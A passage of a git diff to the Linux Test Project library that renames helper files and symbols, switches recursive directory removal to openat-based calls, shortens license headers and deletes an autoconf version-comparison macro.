(fs->mkfs_ver && !tst_check_cmd(fs->mkfs_ver, 0)) + return; - if (fs->min_kver && check_kver(fs->min_kver, 0)) - return TCONF; + if (fs->min_kver && !check_kver(fs->min_kver, 0)) + return; prepare_device(fs); - ret = fork_testrun(); + fork_testrun(); if (context->mntpoint_mounted) { tst_umount(tst_test->mntpoint); context->mntpoint_mounted = 0; } - return ret; + return; } -static int run_tcases_per_fs(void) +static void run_tcases_per_fs(void) { - int ret = 0; unsigned int i; bool found_valid_fs = false; const char *const *filesystems = tst_get_supported_fs_types(tst_test->skip_filesystems); @@ -1986,8 +2022,6 @@ static int run_tcases_per_fs(void) if (!found_valid_fs) tst_brk(TCONF, "No required filesystems are available"); - - return ret; } unsigned int tst_variant; diff --git a/ltp/lib/tst_tmpdir.c b/ltp/lib/tst_tmpdir.c index 6ed2367b..9b024a74 100644 --- a/ltp/lib/tst_tmpdir.c +++ b/ltp/lib/tst_tmpdir.c @@ -72,9 +72,9 @@ #include "test.h" #include "tst_buffers.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "tst_tmpdir.h" -#include "ltp_priv.h" +#include "tso_priv.h" #include "lapi/futex.h" /* @@ -101,7 +101,7 @@ static char test_start_work_dir[PATH_MAX]; /* lib/tst_checkpoint.c */ extern futex_t *tst_futexes; -static int rmobj(const char *obj, char **errmsg); +static int rmobjat(int dir_fd, const char *obj, char **errmsg); int tst_tmpdir_created(void) { @@ -144,34 +144,37 @@ const char *tst_get_startwd(void) return test_start_work_dir; } -static int purge_dir(const char *path, char **errptr) +static int purge_dirat(int dir_fd, const char *path, char **errptr) { int ret_val = 0; DIR *dir; struct dirent *dir_ent; - char dirobj[PATH_MAX]; static char err_msg[PATH_MAX + 1280]; + int subdir_fd; - /* Do NOT perform the request if the directory is "/" */ - if (!strcmp(path, "/")) { + errno = 0; + + /* Open the subdirectory using openat */ + subdir_fd = openat(dir_fd, path, O_RDONLY | O_DIRECTORY | O_NOFOLLOW); + if (subdir_fd < 0) { if (errptr) { - strcpy(err_msg, "Cannot purge system root directory"); + snprintf(err_msg, sizeof(err_msg), + "Cannot open subdirectory %s (via fd %d); errno=%d: %s", + path, dir_fd, errno, tst_strerrno(errno)); *errptr = err_msg; } - return -1; } - errno = 0; - - /* Open the directory to get access to what is in it */ - if (!(dir = opendir(path))) { + dir = fdopendir(subdir_fd); + if (!dir) { if (errptr) { - sprintf(err_msg, - "Cannot open directory %s; errno=%d: %s", - path, errno, tst_strerrno(errno)); + snprintf(err_msg, sizeof(err_msg), + "Cannot open directory stream for %s (via fd %d); errno=%d: %s", + path, dir_fd, errno, tst_strerrno(errno)); *errptr = err_msg; } + close(subdir_fd); return -1; } @@ -183,8 +186,7 @@ static int purge_dir(const char *path, char **errptr) continue; /* Recursively remove the current entry */ - sprintf(dirobj, "%s/%s", path, dir_ent->d_name); - if (rmobj(dirobj, errptr) != 0) + if (rmobjat(subdir_fd, dir_ent->d_name, errptr) != 0) ret_val = -1; } @@ -192,63 +194,53 @@ static int purge_dir(const char *path, char **errptr) return ret_val; } -static int rmobj(const char *obj, char **errmsg) +static int rmobjat(int dir_fd, const char *obj, char **errmsg) { int ret_val = 0; struct stat statbuf; static char err_msg[PATH_MAX + 1280]; int fd; - fd = open(obj, O_DIRECTORY | O_NOFOLLOW); + fd = openat(dir_fd, obj, O_DIRECTORY | O_NOFOLLOW); if (fd >= 0) { close(fd); - ret_val = purge_dir(obj, errmsg); + ret_val = purge_dirat(dir_fd, obj, errmsg); /* If there were problems removing an entry, don't attempt to remove the directory itself */ if (ret_val == -1) return -1; + int flags = AT_REMOVEDIR; + /* Get the link count, now that all the entries have been removed */ - if (lstat(obj, &statbuf) < 0) { + if (fstatat(dir_fd, obj, &statbuf, AT_SYMLINK_NOFOLLOW) < 0) { if (errmsg != NULL) { - sprintf(err_msg, - "lstat(%s) failed; errno=%d: %s", obj, + snprintf(err_msg, sizeof(err_msg), + "fstatat(%s) failed; errno=%d: %s", obj, errno, tst_strerrno(errno)); *errmsg = err_msg; } return -1; } - /* Remove the directory itself */ - if (statbuf.st_nlink >= 3) { - /* The directory is linked; unlink() must be used */ - if (unlink(obj) < 0) { - if (errmsg != NULL) { - sprintf(err_msg, - "unlink(%s) failed; errno=%d: %s", - obj, errno, tst_strerrno(errno)); - *errmsg = err_msg; - } - return -1; - } - } else { - /* The directory is not linked; remove() can be used */ - if (remove(obj) < 0) { - if (errmsg != NULL) { - sprintf(err_msg, + if (statbuf.st_nlink >= 3) + flags = 0; + + if (unlinkat(dir_fd, obj, flags) < 0) { + if (errmsg != NULL) { + snprintf(err_msg, sizeof(err_msg), "remove(%s) failed; errno=%d: %s", obj, errno, tst_strerrno(errno)); - *errmsg = err_msg; - } - return -1; + *errmsg = err_msg; } + return -1; } } else { - if (unlink(obj) < 0) { + if (unlinkat(dir_fd, obj, 0) < 0) { if (errmsg != NULL) { - sprintf(err_msg, - "unlink(%s) failed; errno=%d: %s", obj, + snprintf(err_msg, sizeof(err_msg), + "unlinkat(%s) failed; errno=%d: %s", obj, errno, tst_strerrno(errno)); *errmsg = err_msg; } @@ -305,7 +297,7 @@ void tst_tmpdir(void) tst_resm(TERRNO, "%s: chdir(%s) failed", __func__, TESTDIR); /* Try to remove the directory */ - if (rmobj(TESTDIR, &errmsg) == -1) { + if (rmobjat(AT_FDCWD, TESTDIR, &errmsg) == -1) { tst_resm(TWARN, "%s: rmobj(%s) failed: %s", __func__, TESTDIR, errmsg); } @@ -343,7 +335,7 @@ void tst_rmdir(void) /* * Attempt to remove the "TESTDIR" directory, using rmobj(). */ - if (rmobj(TESTDIR, &errmsg) == -1) { + if (rmobjat(AT_FDCWD, TESTDIR, &errmsg) == -1) { tst_resm(TWARN, "%s: rmobj(%s) failed: %s", __func__, TESTDIR, errmsg); } @@ -353,7 +345,7 @@ void tst_purge_dir(const char *path) { char *err; - if (purge_dir(path, &err)) + if (purge_dirat(AT_FDCWD, path, &err)) tst_brkm(TBROK, NULL, "%s: %s", __func__, err); } diff --git a/ltp/lib/tst_virt.c b/ltp/lib/tst_virt.c index 0fda20a1..109d7a85 100644 --- a/ltp/lib/tst_virt.c +++ b/ltp/lib/tst_virt.c @@ -24,7 +24,7 @@ #include #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" static int is_kvm(void) { diff --git a/ltp/libs/ipc/libipc.c b/ltp/libs/ipc/tse_ipc.c similarity index 82% rename from ltp/libs/ipc/libipc.c rename to ltp/libs/ipc/tse_ipc.c index c2ecbf02..4fe4843d 100644 --- a/ltp/libs/ipc/libipc.c +++ b/ltp/libs/ipc/tse_ipc.c @@ -1,25 +1,12 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 2026 */ /* * NAME - * libmsg.c + * tse_ipc.c * * DESCRIPTION * common routines for the IPC system call tests. @@ -35,8 +22,8 @@ */ #define LIBIPC -#include "ipcmsg.h" -#include "ipcsem.h" +#include "tse_ipcmsg.h" +#include "tse_ipcsem.h" #include #include diff --git a/ltp/libs/ipc/libmsgctl.c b/ltp/libs/ipc/tse_msgctl.c similarity index 77% rename from ltp/libs/ipc/libmsgctl.c rename to ltp/libs/ipc/tse_msgctl.c index ae459d48..dbf10dd6 100644 --- a/ltp/libs/ipc/libmsgctl.c +++ b/ltp/libs/ipc/tse_msgctl.c @@ -1,20 +1,8 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) International Business Machines Corp., 2002 + * Copyright (c) International Business Machines Corp., 2001 * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation; either version 2 of - * the License, or (at your option) any later version. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) Linux Test Project, 2026 */ #include @@ -25,7 +13,7 @@ #include #include #include -#include "libmsgctl.h" +#include "tse_msgctl.h" int doreader(long key, int tid, long type, int child, int nreps) { diff --git a/ltp/libs/newipc/libnewipc.c b/ltp/libs/newipc/tse_newipc.c similarity index 98% rename from ltp/libs/newipc/libnewipc.c rename to ltp/libs/newipc/tse_newipc.c index 331f1b1f..f7edda6b 100644 --- a/ltp/libs/newipc/libnewipc.c +++ b/ltp/libs/newipc/tse_newipc.c @@ -20,7 +20,7 @@ #define TST_NO_DEFAULT_MAIN #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "tst_safe_stdio.h" #include "tst_safe_sysv_ipc.h" diff --git a/ltp/libs/numa/tst_numa.c b/ltp/libs/numa/tse_numa.c similarity index 87% rename from ltp/libs/numa/tst_numa.c rename to ltp/libs/numa/tse_numa.c index c3297013..835b4588 100644 --- a/ltp/libs/numa/tst_numa.c +++ b/ltp/libs/numa/tse_numa.c @@ -14,10 +14,10 @@ #define TST_NO_DEFAULT_MAIN #include "tst_test.h" -#include "tst_numa.h" +#include "tse_numa.h" #include "lapi/numaif.h" -void tst_nodemap_print_counters(struct tst_nodemap *nodes) +void tse_nodemap_print_counters(struct tse_nodemap *nodes) { unsigned int i; @@ -27,7 +27,7 @@ void tst_nodemap_print_counters(struct tst_nodemap *nodes) } } -void tst_nodemap_reset_counters(struct tst_nodemap *nodes) +void tse_nodemap_reset_counters(struct tse_nodemap *nodes) { size_t arr_size = sizeof(unsigned int) * nodes->cnt; @@ -37,7 +37,7 @@ void tst_nodemap_reset_counters(struct tst_nodemap *nodes) memset(nodes->counters, 0, arr_size); } -void tst_nodemap_free(struct tst_nodemap *nodes) +void tse_nodemap_free(struct tse_nodemap *nodes) { free(nodes->counters); free(nodes); @@ -45,7 +45,7 @@ void tst_nodemap_free(struct tst_nodemap *nodes) #ifdef HAVE_NUMA_V2 -const char *tst_mempolicy_mode_name(int mode) +const char *tse_mempolicy_mode_name(int mode) { switch (mode) { case MPOL_DEFAULT: @@ -64,7 +64,7 @@ const char *tst_mempolicy_mode_name(int mode) } -static void inc_counter(unsigned int node, struct tst_nodemap *nodes) +static void inc_counter(unsigned int node, struct tse_nodemap *nodes) { unsigned int i; @@ -76,7 +76,7 @@ static void inc_counter(unsigned int node, struct tst_nodemap *nodes) } } -void tst_nodemap_count_pages(struct tst_nodemap *nodes, +void tse_nodemap_count_pages(struct tse_nodemap *nodes, void *ptr, size_t size) { size_t page_size = getpagesize(); @@ -100,7 +100,7 @@ void tst_nodemap_count_pages(struct tst_nodemap *nodes, } } -void *tst_numa_map(const char *path, size_t size) +void *tse_numa_map(const char *path, size_t size) { char *ptr; int fd = -1; @@ -178,10 +178,10 @@ static int node_has_enough_memory(int node, size_t min_kb) return 1; } -struct tst_nodemap *tst_get_nodemap(int type, size_t min_mem_kb) +struct tse_nodemap *tse_get_nodemap(int type, size_t min_mem_kb) { struct bitmask *membind; - struct tst_nodemap *nodes; + struct tse_nodemap *nodes; unsigned int i, cnt; if (type & ~(TST_NUMA_MEM)) @@ -199,7 +199,7 @@ struct tst_nodemap *tst_get_nodemap(int type, size_t min_mem_kb) tst_res(TINFO, "Found %u NUMA memory nodes", cnt); - nodes = SAFE_MALLOC(sizeof(struct tst_nodemap) + nodes = SAFE_MALLOC(sizeof(struct tse_nodemap) + sizeof(unsigned int) * cnt); nodes->cnt = cnt; nodes->counters = NULL; diff --git a/ltp/libs/sigwait/sigwait.c b/ltp/libs/sigwait/tse_sigwait.c similarity index 92% rename from ltp/libs/sigwait/sigwait.c rename to ltp/libs/sigwait/tse_sigwait.c index a9fd62d7..f6689d1a 100644 --- a/ltp/libs/sigwait/sigwait.c +++ b/ltp/libs/sigwait/tse_sigwait.c @@ -5,11 +5,11 @@ #include #include #include -#include "libsigwait.h" +#include "tse_sigwait.h" #include "tst_sig_proc.h" #include "lapi/syscalls.h" -void test_empty_set(swi_func sigwaitinfo, int signo, +void tse_empty_set(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED) { sigset_t sigs; @@ -35,7 +35,7 @@ void test_empty_set(swi_func sigwaitinfo, int signo, SAFE_WAIT(NULL); } -void test_timeout(swi_func sigwaitinfo, int signo, enum tst_ts_type type) +void tse_timeout(swi_func sigwaitinfo, int signo, enum tst_ts_type type) { sigset_t sigs; siginfo_t si; @@ -68,7 +68,7 @@ void test_timeout(swi_func sigwaitinfo, int signo, enum tst_ts_type type) /* Note: sigwait-ing for a signal that is not blocked is unspecified * by POSIX; but works for non-ignored signals under Linux */ -void test_unmasked_matching(swi_func sigwaitinfo, int signo, +void tse_unmasked_matching(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED) { sigset_t sigs; @@ -96,7 +96,7 @@ void test_unmasked_matching(swi_func sigwaitinfo, int signo, SAFE_WAIT(NULL); } -void test_unmasked_matching_noinfo(swi_func sigwaitinfo, int signo, +void tse_unmasked_matching_noinfo(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED) { sigset_t sigs; @@ -118,7 +118,7 @@ void test_unmasked_matching_noinfo(swi_func sigwaitinfo, int signo, SAFE_WAIT(NULL); } -void test_masked_matching(swi_func sigwaitinfo, int signo, +void tse_masked_matching(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED) { sigset_t sigs, oldmask; @@ -166,7 +166,7 @@ void test_masked_matching(swi_func sigwaitinfo, int signo, SAFE_WAIT(NULL); } -void test_masked_matching_rt(swi_func sigwaitinfo, int signo, +void tse_masked_matching_rt(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED) { sigset_t sigs, oldmask; @@ -232,7 +232,7 @@ void test_masked_matching_rt(swi_func sigwaitinfo, int signo, "sigwaitinfo failed to restore the original mask"); } -void test_masked_matching_noinfo(swi_func sigwaitinfo, int signo, +void tse_masked_matching_noinfo(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED) { sigset_t sigs, oldmask; @@ -274,7 +274,7 @@ void test_masked_matching_noinfo(swi_func sigwaitinfo, int signo, SAFE_WAIT(NULL); } -void test_bad_address(swi_func sigwaitinfo, int signo, +void tse_bad_address(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED) { sigset_t sigs, oldmask; @@ -301,7 +301,7 @@ void test_bad_address(swi_func sigwaitinfo, int signo, SAFE_WAIT(NULL); } -void test_bad_address2(swi_func sigwaitinfo, int signo LTP_ATTRIBUTE_UNUSED, +void tse_bad_address2(swi_func sigwaitinfo, int signo LTP_ATTRIBUTE_UNUSED, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED) { pid_t pid; @@ -342,7 +342,7 @@ void test_bad_address2(swi_func sigwaitinfo, int signo LTP_ATTRIBUTE_UNUSED, } } -void test_bad_address3(swi_func sigwaitinfo, int signo LTP_ATTRIBUTE_UNUSED, +void tse_bad_address3(swi_func sigwaitinfo, int signo LTP_ATTRIBUTE_UNUSED, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED) { sigset_t sigs; @@ -373,7 +373,7 @@ static void empty_handler(int sig LTP_ATTRIBUTE_UNUSED) { } -void sigwait_setup(void) +void tse_sigwait_setup(void) { signal(SIGUSR1, empty_handler); signal(SIGALRM, empty_handler); diff --git a/ltp/libs/swap/libswap.c b/ltp/libs/swap/tse_swap.c similarity index 74% rename from ltp/libs/swap/libswap.c rename to ltp/libs/swap/tse_swap.c index e1035550..ae3c1931 100644 --- a/ltp/libs/swap/libswap.c +++ b/ltp/libs/swap/tse_swap.c @@ -17,7 +17,7 @@ #define BUFSIZE 200 #include "tst_test.h" -#include "libswap.h" +#include "tse_swap.h" #include "lapi/syscalls.h" #include "tst_kconfig.h" #include "tst_kvercmp.h" @@ -146,8 +146,7 @@ int make_swapfile(const char *file, const int lineno, size_t pg_size = sysconf(_SC_PAGESIZE); char mnt_path[PATH_MAX]; - if (statvfs(".", &fs_info) == -1) - tst_brk_(file, lineno, TBROK, "statvfs failed"); + safe_statvfs(file, lineno, ".", &fs_info); blk_size = fs_info.f_bsize; @@ -158,7 +157,7 @@ int make_swapfile(const char *file, const int lineno, blocks = num; tst_res_(file, lineno, TINFO, "create a swapfile with %u block numbers", blocks); } else { - tst_brk_(file, lineno, TBROK, "Invalid method, please see include/libswap.h"); + tst_brk_(file, lineno, TBROK, "Invalid method, please see include/tse_swap.h"); } /* To guarantee at least one page can be swapped out */ @@ -169,8 +168,7 @@ int make_swapfile(const char *file, const int lineno, blk_size = pg_size; } - if (sscanf(swapfile, "%[^/]", mnt_path) != 1) - tst_brk_(file, lineno, TBROK, "sscanf failed"); + safe_sscanf(file, lineno, swapfile, "%[^/]", mnt_path); if (!tst_fs_has_free(mnt_path, blk_size * blocks, TST_BYTES)) tst_brk_(file, lineno, TCONF, "Insufficient disk space to create swap file"); @@ -241,71 +239,7 @@ bool is_swap_supported(const char *filename) return true; } -int tst_max_swapfiles(void) -{ - unsigned int swp_migration_num = 0, swp_hwpoison_num = 0, - swp_device_num = 0, swp_pte_marker_num = 0, - swp_swapin_error_num = 0; - struct tst_kconfig_var migration = TST_KCONFIG_INIT("CONFIG_MIGRATION"); - struct tst_kconfig_var memory = TST_KCONFIG_INIT("CONFIG_MEMORY_FAILURE"); - struct tst_kconfig_var device = TST_KCONFIG_INIT("CONFIG_DEVICE_PRIVATE"); - struct tst_kconfig_var marker = TST_KCONFIG_INIT("CONFIG_PTE_MARKER"); - struct tst_kern_exv kvers_marker_migration[] = { - /* RHEL9 kernel has patch 6c287605f and 679d10331 since 5.14.0-179 */ - { "RHEL9", "5.14.0-179" }, - { NULL, NULL}, - }; - - struct tst_kern_exv kvers_marker_migration2[] = { - /* RHEL9 kernel has patch ca92ea3dc5a since 5.14.0-441 */ - { "RHEL9", "5.14.0-441" }, - { NULL, NULL}, - }; - - struct tst_kern_exv kvers_device[] = { - /* SLES12-SP4 has patch 5042db43cc26 since 4.12.14-5.5 */ - { "SLES", "4.12.14-5.5" }, - { NULL, NULL}, - }; - - tst_kconfig_read(&migration, 1); - tst_kconfig_read(&memory, 1); - tst_kconfig_read(&device, 1); - tst_kconfig_read(&marker, 1); - - if (migration.choice == 'y') { - if (tst_kvercmp2(5, 19, 0, kvers_marker_migration) < 0) - swp_migration_num = 2; - else - swp_migration_num = 3; - } - - if (memory.choice == 'y') - swp_hwpoison_num = 1; - - if (device.choice == 'y') { - if (tst_kvercmp2(4, 14, 0, kvers_device) >= 0) - swp_device_num = 2; - if (tst_kvercmp(5, 14, 0) >= 0) - swp_device_num = 4; - if (tst_kvercmp(6, 15, 0) >= 0) - swp_device_num = 3; - } - - if ((marker.choice == 'y' && - tst_kvercmp2(5, 19, 0, kvers_marker_migration) >= 0) - || tst_kvercmp2(6, 2, 0, kvers_marker_migration2) >= 0) { - swp_pte_marker_num = 1; - } - - if ((tst_kvercmp(5, 19, 0) >= 0) && (tst_kvercmp(6, 2, 0) < 0)) - swp_swapin_error_num = 1; - - return DEFAULT_MAX_SWAPFILE - swp_migration_num - swp_hwpoison_num - - swp_device_num - swp_pte_marker_num - swp_swapin_error_num; -} - -int tst_count_swaps(void) +int tse_count_swaps(void) { FILE *fp; int used = -1; diff --git a/ltp/libs/uinput/tst_uinput.c b/ltp/libs/uinput/tse_uinput.c similarity index 99% rename from ltp/libs/uinput/tst_uinput.c rename to ltp/libs/uinput/tse_uinput.c index 16e68915..9bf7f143 100644 --- a/ltp/libs/uinput/tst_uinput.c +++ b/ltp/libs/uinput/tse_uinput.c @@ -12,7 +12,7 @@ #define TST_NO_DEFAULT_MAIN #include "tst_test.h" -#include "tst_uinput.h" +#include "tse_uinput.h" #include "tst_safe_stdio.h" #define VIRTUAL_DEVICE "virtual-device-ltp" diff --git a/ltp/libs/vdso/parse_vdso.c b/ltp/libs/vdso/tse_parse_vdso.c similarity index 99% rename from ltp/libs/vdso/parse_vdso.c rename to ltp/libs/vdso/tse_parse_vdso.c index cd75a894..7f5b663e 100644 --- a/ltp/libs/vdso/parse_vdso.c +++ b/ltp/libs/vdso/tse_parse_vdso.c @@ -1,5 +1,5 @@ /* - * parse_vdso.c: Linux reference vDSO parser + * tse_parse_vdso.c: Linux reference vDSO parser * Written by Andrew Lutomirski, 2011-2014. * * This code is meant to be linked in to various programs that run on Linux. diff --git a/ltp/libs/vdso/vdso_helpers.c b/ltp/libs/vdso/vdso_helpers.c index 208c12f6..c9a60ef7 100644 --- a/ltp/libs/vdso/vdso_helpers.c +++ b/ltp/libs/vdso/vdso_helpers.c @@ -7,7 +7,7 @@ #define TST_NO_DEFAULT_MAIN #include "tst_test.h" -#include "parse_vdso.h" +#include "tse_parse_vdso.h" #include "config.h" #ifdef HAVE_GETAUXVAL diff --git a/ltp/m4/ax_compare_version.m4 b/ltp/m4/ax_compare_version.m4 deleted file mode 100644 index ffb4997e..00000000 --- a/ltp/m4/ax_compare_version.m4 +++ /dev/null @@ -1,177 +0,0 @@ -# =========================================================================== -# https://www.gnu.org/software/autoconf-archive/ax_compare_version.html -# =========================================================================== -# -# SYNOPSIS -# -# AX_COMPARE_VERSION(VERSION_A, OP, VERSION_B, [ACTION-IF-TRUE], [ACTION-IF-FALSE]) -# -# DESCRIPTION -# -# This macro compares two version strings. Due to the various number of -# minor-version numbers that can exist, and the fact that string -# comparisons are not compatible with numeric comparisons, this is not -# necessarily trivial to do in a autoconf script. This macro makes doing -# these comparisons easy. -# -# The six basic comparisons are available, as well as checking equality -# limited to a certain number of minor-version levels. -# -# The operator OP determines what type of comparison to do, and can be one -# of: -# -# eq - equal (test A == B) -# ne - not equal (test A != B) -# le - less than or equal (test A <= B) -# ge - greater than or equal (test A >= B) -# lt - less than (test A < B) -# gt - greater than (test A > B) -# -# Additionally, the eq and ne operator can have a number after it to limit -# the test to that number of minor versions. -# -# eq0 - equal up to the length of the shorter version -# ne0 - not equal up to the length of the shorter version -# eqN - equal up to N sub-version levels -# neN - not equal up to N sub-version levels -# -# When the condition is true, shell commands ACTION-IF-TRUE are run, -# otherwise shell commands ACTION-IF-FALSE are run. The environment -# variable 'ax_compare_version' is always set to either 'true' or 'false' -# as well. -# -# Examples: -# -# AX_COMPARE_VERSION([3.15.7],[lt],[3.15.8]) -# AX_COMPARE_VERSION([3.15],[lt],[3.15.8]) -# -# would both be true. -# -# AX_COMPARE_VERSION([3.15.7],[eq],[3.15.8]) -# AX_COMPARE_VERSION([3.15],[gt],[3.15.8]) -# -# would both be false. -# -# AX_COMPARE_VERSION([3.15.7],[eq2],[3.15.8]) -# -# would be true because it is only comparing two minor versions. -# -# AX_COMPARE_VERSION([3.15.7],[eq0],[3.15]) -# -# would be true because it is only comparing the lesser number of minor -# versions of the two values. -# -# Note: The characters that separate the version numbers do not matter. An -# empty string is the same as version 0. OP is evaluated by autoconf, not -# configure, so must be a string, not a variable. -# -# The author would like to acknowledge Guido Draheim whose advice about -# the m4_case and m4_ifvaln functions make this macro only include the -# portions necessary to perform the specific comparison specified by the -# OP argument in the final configure script. -# -# LICENSE -# -# Copyright (c) 2008 Tim Toolan -# -# Copying and distribution of this file, with or without modification, are -# permitted in any medium without royalty provided the copyright notice -# and this notice are preserved. This file is offered as-is, without any -# warranty. - -#serial 13 - -dnl ######################################################################### -AC_DEFUN([AX_COMPARE_VERSION], [ - AC_REQUIRE([AC_PROG_AWK]) - - # Used to indicate true or false condition - ax_compare_version=false - - # Convert the two version strings to be compared into a format that - # allows a simple string comparison. The end result is that a version - # string of the form 1.12.5-r617 will be converted to the form - # 0001001200050617. In other words, each number is zero padded to four - # digits, and non digits are removed. - AS_VAR_PUSHDEF([A],[ax_compare_version_A]) - A=`echo "$1" | sed -e 's/\([[0-9]]*\)/Z\1Z/g' \ - -e 's/Z\([[0-9]]\)Z/Z0\1Z/g' \ - -e 's/Z\([[0-9]][[0-9]]\)Z/Z0\1Z/g' \ - -e 's/Z\([[0-9]][[0-9]][[0-9]]\)Z/Z0\1Z/g' \ - -e 's/[[^0-9]]//g'` - - AS_VAR_PUSHDEF([B],[ax_compare_version_B]) - B=`echo "$3" | sed -e 's/\([[0-9]]*\)/Z\1Z/g' \ - -e 's/Z\([[0-9]]\)Z/Z0\1Z/g' \ - -e 's/Z\([[0-9]][[0-9]]\)Z/Z0\1Z/g' \ - -e 's/Z\([[0-9]][[0-9]][[0-9]]\)Z/Z0\1Z/g' \ - -e 's/[[^0-9]]//g'` - - dnl # In the case of le, ge, lt, and gt, the strings are sorted as necessary - dnl # then the first line is used to determine if the condition is true. - dnl # The sed right after the echo is to remove any indented white space. - m4_case(m4_tolower($2), - [lt],[ - ax_compare_version=`echo "x$A -x$B" | sed 's/^ *//' | sort -r | sed "s/x${A}/false/;s/x${B}/true/;1q"` - ], - [gt],[ - ax_compare_version=`echo "x$A -x$B" | sed 's/^ *//' | sort | sed "s/x${A}/false/;s/x${B}/true/;1q"` - ], - [le],[ - ax_compare_version=`echo "x$A -x$B" | sed 's/^ *//' | sort | sed "s/x${A}/true/;s/x${B}/false/;1q"` - ], - [ge],[ - ax_compare_version=`echo "x$A -x$B" | sed 's/^ *//' | sort -r | sed "s/x${A}/true/;s/x${B}/false/;1q"` - ],[ - dnl Split the operator from the subversion count if present. - m4_bmatch(m4_substr($2,2), - [0],[ - # A count of zero means use the length of the shorter version. - # Determine the number of characters in A and B. - ax_compare_version_len_A=`echo "$A" | $AWK '{print(length)}'` - ax_compare_version_len_B=`echo "$B" | $AWK '{print(length)}'` - - # Set A to no more than B's length and B to no more than A's length. - A=`echo "$A" | sed "s/\(.\{$ax_compare_version_len_B\}\).*/\1/"` - B=`echo "$B" | sed "s/\(.\{$ax_compare_version_len_A\}\).*/\1/"` - ], - [[0-9]+],[ - # A count greater than zero means use only that many subversions - A=`echo "$A" | sed "s/\(\([[0-9]]\{4\}\)\{m4_substr($2,2)\}\).*/\1/"` - B=`echo "$B" | sed "s/\(\([[0-9]]\{4\}\)\{m4_substr($2,2)\}\).*/\1/"` - ], - [.+],[ - AC_WARNING( - [invalid OP numeric parameter: $2]) - ],[]) - - # Pad zeros at end of numbers to make same length. - ax_compare_version_tmp_A="$A`echo $B | sed 's/./0/g'`" - B="$B`echo $A | sed 's/./0/g'`" - A="$ax_compare_version_tmp_A" - - # Check for equality or inequality as necessary. - m4_case(m4_tolower(m4_substr($2,0,2)), - [eq],[ - test "x$A" = "x$B" && ax_compare_version=true - ], - [ne],[ - test "x$A" != "x$B" && ax_compare_version=true - ],[ - AC_WARNING([invalid OP parameter: $2]) - ]) - ]) - - AS_VAR_POPDEF([A])dnl - AS_VAR_POPDEF([B])dnl - - dnl # Execute ACTION-IF-TRUE / ACTION-IF-FALSE. - if test "$ax_compare_version" = "true" ; then - m4_ifvaln([$4],[$4],[:])dnl - m4_ifvaln([$5],[else $5])dnl - fi -]) dnl AX_COMPARE_VERSION diff --git a/ltp/m4/ltp-builtin_clear_cache.m4 b/ltp/m4/ltp-clear_cache.m4 similarity index 42% rename from ltp/m4/ltp-builtin_clear_cache.m4 rename to ltp/m4/ltp-clear_cache.m4 index 86e1cfc9..99c6a1b6 100644 --- a/ltp/m4/ltp-builtin_clear_cache.m4 +++ b/ltp/m4/ltp-clear_cache.m4 @@ -1,17 +1,18 @@ dnl SPDX-License-Identifier: GPL-2.0-or-later dnl Copyright (c) Linux Test Project, 2016 +dnl Copyright (c) Linux Test Project, 2025 -AC_DEFUN([LTP_CHECK_BUILTIN_CLEAR_CACHE],[ - AC_MSG_CHECKING([for __builtin___clear_cache]) +AC_DEFUN([LTP_CHECK_CLEAR_CACHE],[ + AC_MSG_CHECKING([for __clear_cache]) AC_LINK_IFELSE([AC_LANG_SOURCE([[ int main(void) { char arr[16]; - __builtin___clear_cache(arr, arr + sizeof(arr)); + __clear_cache(arr, arr + sizeof(arr)); return 0; -}]])],[has_bcc="yes"]) +}]])],[has_clear_cache="yes"]) -if test "x$has_bcc" = xyes; then - AC_DEFINE(HAVE_BUILTIN_CLEAR_CACHE,1,[Define to 1 if you have __builtin___clear_cache]) +if test "x$has_clear_cache" = xyes; then + AC_DEFINE(HAVE_CLEAR_CACHE, 1, [Define to 1 if you have __clear_cache]) AC_MSG_RESULT(yes) else AC_MSG_RESULT(no) diff --git a/ltp/metadata/README.md b/ltp/metadata/README.md index c7106275..60f7bad0 100644 --- a/ltp/metadata/README.md +++ b/ltp/metadata/README.md @@ -144,15 +144,14 @@ struct tst_test test = { /* Indicates that the test is messing with system wall clock */ .restore_wallclock = 1, - /* Tests needs uinput either compiled in or loaded as a module */ - .needs_drivers = (const char *[]) { - "uinput", - NULL - }, - /* Tests needs enabled kernel config flags */ .needs_kconfigs = (const char *[]) { "CONFIG_X86_INTEL_UMIP=y", + /* + * For config options that enable modules we also check the presence of + * the module if the config option has module mapping set and is set to 'm'. + */ + "CONFIG_INPUT_UINPUT", NULL }, @@ -185,11 